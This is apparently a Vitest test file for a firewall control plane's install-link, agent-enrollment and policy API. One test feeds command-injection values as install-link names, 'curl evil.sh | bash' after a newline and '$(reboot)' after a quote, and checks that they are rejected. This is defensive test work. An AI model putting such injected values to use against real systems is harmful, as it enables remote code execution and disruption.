import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import type { AppConfig } from '../config.js'

const testConfig: AppConfig = {
  databaseUrl: 'sqlite::memory:',
  jwtSecret: 'test',
  jwtTtlHours: 24,
  serverPort: 8080,
  staticDir: null,
  logLevel: 'error',
  authRequired: false,
  authIssuer: 'https://auth.test',
  authPortalUrl: 'http://localhost:5175',
  publicBaseUrl: 'https://fw.example.com',
  enrollSeed: 'test-seed',
  corsOrigins: [],
  authAuditIngestSecret: null,
  secretKey: null,
  statsRetentionDays: 30,
}

describe('install-links', () => {
  const appPromise = buildApp({ memory: true, config: testConfig })

  afterAll(async () => {
    const app = await appPromise
    await app.close()
  })

  it('creates invited agent and serves scripts by id and slug', async () => {
    const app = await appPromise
    await app.ready()

    const created = await app.inject({
      method: 'POST',
      url: '/api/v1/install-links',
      payload: { name: 'web-01', platform: 'linux' },
    })
    expect(created.statusCode).toBe(201)
    const body = created.json() as {
      id: string
      slug: string
      agent_id: string
      curl: { by_id: string; by_slug: string }
    }
    expect(body.id).toBeTruthy()
    expect(body.slug).toBeTruthy()
    expect(body.agent_id).toBeTruthy()
    expect(body.curl.by_id).toContain(`/agent-install/${body.id}`)

    const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
    expect(agents.statusCode).toBe(200)
    const list = agents.json() as {
      items: {
        id: string
        status: string
        install_curl?: string | null
      }[]
    }
    const invited = list.items.find((a) => a.id === body.agent_id)
    expect(invited?.status).toBe('invited')
    expect(invited?.install_curl).toContain(body.slug)

    const byId = await app.inject({
      method: 'GET',
      url: `/agent-install/${body.id}`,
    })
    expect(byId.statusCode).toBe(200)
    expect(byId.headers['content-type']).toContain('text/x-shellscript')
    expect(byId.body).toContain("EVOFW_CLIENT_NAME='web-01'")
    expect(byId.body).toContain(`EVOFW_INSTALL_LINK_ID='${body.id}'`)

    const bySlug = await app.inject({
      method: 'GET',
      url: `/${body.slug}`,
    })
    expect(bySlug.statusCode).toBe(200)
    expect(bySlug.body).toContain("EVOFW_CP_URL='https://fw.example.com'")
  })

  it('enroll with install_link_id updates invited agent to pending', async () => {
    const app = await appPromise
    await app.ready()

    const created = await app.inject({
      method: 'POST',
      url: '/api/v1/install-links',
      payload: { name: 'web-02', platform: 'linux' },
    })
    const link = created.json() as { id: string; agent_id: string }

    const enroll = await app.inject({
      method: 'POST',
      url: '/v1/agent/enroll',
      headers: {
        'content-type': 'application/json',
        'x-evofw-seed': 'test-seed',
      },
      payload: {
        name: 'web-02',
        hostname: 'host-02',
        platform: 'linux',
        token: 'evofw_test_token_1234567890abcd',
        install_link_id: link.id,
      },
    })
    expect(enroll.statusCode).toBe(201)
    const enrolled = enroll.json() as { id: string; status: string }
    expect(enrolled.id).toBe(link.agent_id)
    expect(enrolled.status).toBe('pending')

    const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
    const list = agents.json() as { items: { id: string; status: string }[] }
    const row = list.items.find((a) => a.id === link.agent_id)
    expect(row?.status).toBe('pending')
  })

  it('rejects install link names with unsafe characters', async () => {
    const app = await appPromise
    await app.ready()

    const bad = await app.inject({
      method: 'POST',
      url: '/api/v1/install-links',
      payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
    })
    expect(bad.statusCode).toBe(400)

    const quotes = await app.inject({
      method: 'POST',
      url: '/api/v1/install-links',
      payload: { name: "name'$(reboot)", platform: 'linux' },
    })
    expect(quotes.statusCode).toBe(400)
  })

  it('masks per-list api_token in list responses', async () => {
    const app = await appPromise
    await app.ready()

    const created = await app.inject({
      method: 'POST',
      url: '/api/v1/lists',
      payload: {
        name: 'evobgp-masked',
        type: 'evobgp_community',
        config: {
          api_url: 'https://bgp.example.com',
          api_token: 'super-secret-token',
          community_id: '',
        },
      },
    })
    expect(created.statusCode).toBe(200)
    const body = created.json() as { config_json: string }
    expect(body.config_json).not.toContain('super-secret-token')
    expect(body.config_json).toContain('********')

    const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
    const items = (lists.json() as { items: { config_json: string }[] }).items
    expect(
      items.some((l) => l.config_json.includes('super-secret-token')),
    ).toBe(false)
    expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
  })

  it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
    const app = await appPromise
    await app.ready()

    const created = await app.inject({
      method: 'POST',
      url: '/api/v1/install-links',
      payload: { name: 'mt-01', platform: 'mikrotik' },
    })
    expect(created.statusCode).toBe(201)
    const body = created.json() as {
      id: string
      slug: string
      agent_id: string
      curl: { by_id: string; by_slug: string }
    }
    expect(body.curl.by_id).toContain('/tool fetch url=')
    expect(body.curl.by_id).toContain('/import file-name=evofw-install.rsc')
    expect(body.curl.by_id).not.toContain('| bash')

    const byId = await app.inject({
      method: 'GET',
      url: `/agent-install/${body.id}`,
    })
    expect(byId.statusCode).toBe(200)
    expect(byId.headers['content-type']).toContain('text/plain')
    expect(byId.body).toContain(':global EvofwCpUrl "https://fw.example.com"')
    expect(byId.body).toContain(`:global EvofwInstallLinkId "${body.id}"`)
    expect(byId.body).toContain('evofw-deny-drop-input')
    expect(byId.body).toContain('/v1/agent/policy')
    expect(byId.body).toContain(':deserialize')
    expect(byId.body).toContain('evofw-sync-body')
    expect(byId.body).toContain('remove [find name="evofw-env"]')
  })

  it('approved agent can fetch empty policy without rule sets', async () => {
    const app = await appPromise
    await app.ready()

    const created = await app.inject({
      method: 'POST',
      url: '/api/v1/install-links',
      payload: { name: 'empty-policy', platform: 'linux' },
    })
    const link = created.json() as { id: string; agent_id: string }
    const token = 'evofw_empty_policy_token_abcdefgh'

    const enroll = await app.inject({
      method: 'POST',
      url: '/v1/agent/enroll',
      headers: {
        'content-type': 'application/json',
        'x-evofw-seed': 'test-seed',
      },
      payload: {
        name: 'empty-policy',
        platform: 'linux',
        token,
        install_link_id: link.id,
      },
    })
    expect(enroll.statusCode).toBe(201)

    await app.inject({
      method: 'POST',
      url: `/api/v1/agents/${link.agent_id}/approve`,
    })

    const policy = await app.inject({
      method: 'GET',
      url: '/v1/agent/policy',
      headers: { authorization: `Bearer ${token}` },
    })
    expect(policy.statusCode).toBe(200)
    const body = policy.json() as {
      deny_cidrs: string[]
      allow_cidrs: string[]
      default_action: string
      policy_mode: string
      apply_version: number
      hash: string
      script_sha256: string
    }
    expect(body.deny_cidrs).toEqual([])
    expect(body.allow_cidrs).toEqual([])
    expect(body.default_action).toBe('accept')
    expect(body.policy_mode).toBe('blacklist')
    expect(body.apply_version).toBe(3)
    expect(body.hash).toMatch(/^sha256:/)
    expect(body.script_sha256).toMatch(/^[a-f0-9]{64}$/)

    const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
    const row = (
      agents.json() as { items: { id: string; last_seen_at: string | null }[] }
    ).items.find((a) => a.id === link.agent_id)
    expect(row?.last_seen_at).toBeTruthy()
  })

  it('approved agent can fetch policy.rsc with address-list commands', async () => {
    const app = await appPromise
    await app.ready()

    const created = await app.inject({
      method: 'POST',
      url: '/api/v1/install-links',
      payload: { name: 'mt-policy', platform: 'mikrotik' },
    })
    const link = created.json() as { id: string; agent_id: string }
    const token = 'evofw_mt_policy_token_abcdefghij'

    const enroll = await app.inject({
      method: 'POST',
      url: '/v1/agent/enroll',
      headers: {
        'content-type': 'application/json',
        'x-evofw-seed': 'test-seed',
      },
      payload: {
        name: 'mt-policy',
        platform: 'mikrotik',
        token,
        install_link_id: link.id,
      },
    })
    expect(enroll.statusCode).toBe(201)

    await app.inject({
      method: 'POST',
      url: `/api/v1/agents/${link.agent_id}/approve`,
    })

    // add a deny override so policy has a CIDR
    await app.inject({
      method: 'POST',
      url: `/api/v1/agents/${link.agent_id}/overrides`,
      payload: { action: 'deny', cidr: '203.0.113.0/24' },
    })

    const rsc = await app.inject({
      method: 'GET',
      url: '/v1/agent/policy.rsc',
      headers: { authorization: `Bearer ${token}` },
    })
    expect(rsc.statusCode).toBe(200)
    expect(rsc.headers['content-type']).toContain('text/plain')
    expect(rsc.body).toContain('address-list')
    expect(rsc.body).toContain('EVOFW_DENY')
    expect(rsc.body).toContain('203.0.113.0/24')
  })

  it('sync-script serves ETag and 304 on If-None-Match', async () => {
    const app = await appPromise
    await app.ready()

    const first = await app.inject({
      method: 'GET',
      url: '/v1/agent/sync-script',
    })
    expect(first.statusCode).toBe(200)
    expect(first.body.startsWith('#!')).toBe(true)
    expect(first.body).toContain('maybe_self_update')
    const etag = String(first.headers.etag ?? '')
    const sha = String(first.headers['x-evofw-script-sha256'] ?? '')
    expect(etag).toMatch(/^"[a-f0-9]{64}"$/)
    expect(sha).toBe(etag.replaceAll('"', ''))

    const cached = await app.inject({
      method: 'GET',
      url: '/v1/agent/sync-script',
      headers: { 'if-none-match': etag },
    })
    expect(cached.statusCode).toBe(304)

    const miss = await app.inject({
      method: 'GET',
      url: '/v1/agent/sync-script',
      headers: { 'if-none-match': '"deadbeef"' },
    })
    expect(miss.statusCode).toBe(200)
    expect(miss.body).toBe(first.body)

    const created = await app.inject({
      method: 'POST',
      url: '/api/v1/install-links',
      payload: { name: 'script-sha-policy', platform: 'linux' },
    })
    const link = created.json() as { id: string; agent_id: string }
    const token = 'evofw_script_sha_token_abcdefghij'
    const enroll = await app.inject({
      method: 'POST',
      url: '/v1/agent/enroll',
      headers: {
        'content-type': 'application/json',
        'x-evofw-seed': 'test-seed',
      },
      payload: {
        name: 'script-sha-policy',
        platform: 'linux',
        token,
        install_link_id: link.id,
      },
    })
    expect(enroll.statusCode).toBe(201)
    await app.inject({
      method: 'POST',
      url: `/api/v1/agents/${link.agent_id}/approve`,
    })
    const policy = await app.inject({
      method: 'GET',
      url: '/v1/agent/policy',
      headers: { authorization: `Bearer ${token}` },
    })
    expect(policy.statusCode).toBe(200)
    expect((policy.json() as { script_sha256: string }).script_sha256).toBe(sha)
  })
})